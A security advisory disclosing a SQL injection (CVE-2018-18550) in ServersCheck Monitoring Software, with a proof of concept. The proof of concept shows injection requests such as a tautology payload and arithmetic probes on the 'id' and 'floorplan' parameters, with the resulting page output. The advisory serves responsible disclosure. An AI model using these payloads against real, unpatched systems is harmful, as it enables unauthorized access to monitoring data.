[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt [+] ISR: ApparitionSec Greetz: ***Greetz: indoushka | Eduardo B.*** [Vendor] www.serverscheck.com [Product] ServersCheck Monitoring Software - through 14.3.3 Software for monitoring your edge computing infrastructure, network & servers. http://downloads.serverscheck.com/monitoring_software/setup.exe File hash: b7bffe4fc83b6a4586c099d6c62d8eeb [Vulnerability Type] SQL Injection [CVE Reference] CVE-2018-18550 [Security Issue] ServersCheck Monitoring Software allows for SQL Injection by an authenticated user via the alerts.html "id" parameter. [References] https://serverscheck.com/monitoring-software/release.asp [Exploit/POC] http://127.0.0.1:1272/alerts.html?id=18391 Result: Alerts History for SENSORXY No data available in table Then using 'OR+2=2, http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+ Result: Alerts History for test 155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK 154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN 153 a day ago test Status Change OK to DOWN Unable to connect to host SQL Injection - original page results successfully manipulated using 18391-2 ----------------------------------------------------------------------------- Examples: http://127.0.0.1:1272/alerts.html?id=18391 No data available in table Then using 34 minus 2, http://127.0.0.1:1272/alerts.html?id=18391-2 153 a day ago test Status Change OK to DOWN Unable to connect to host and minus 1, http://127.0.0.1:1272/alerts.html?id=18391-1 155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK 154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN http://127.0.0.1:1272/floorplans.html?floorplan=34 Floor Plan PLANXY Then using 34 minus 2, http://127.0.0.1:1272/floorplans.html?floorplan=34-2 Floor Plan 0 [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: October 6, 2018 Vendor acknowledgement: October 7, 2018 Vendor release v14.3.4 : October 7th, 2018 CVE assign by Mitre: October 21, 2018 October 22, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx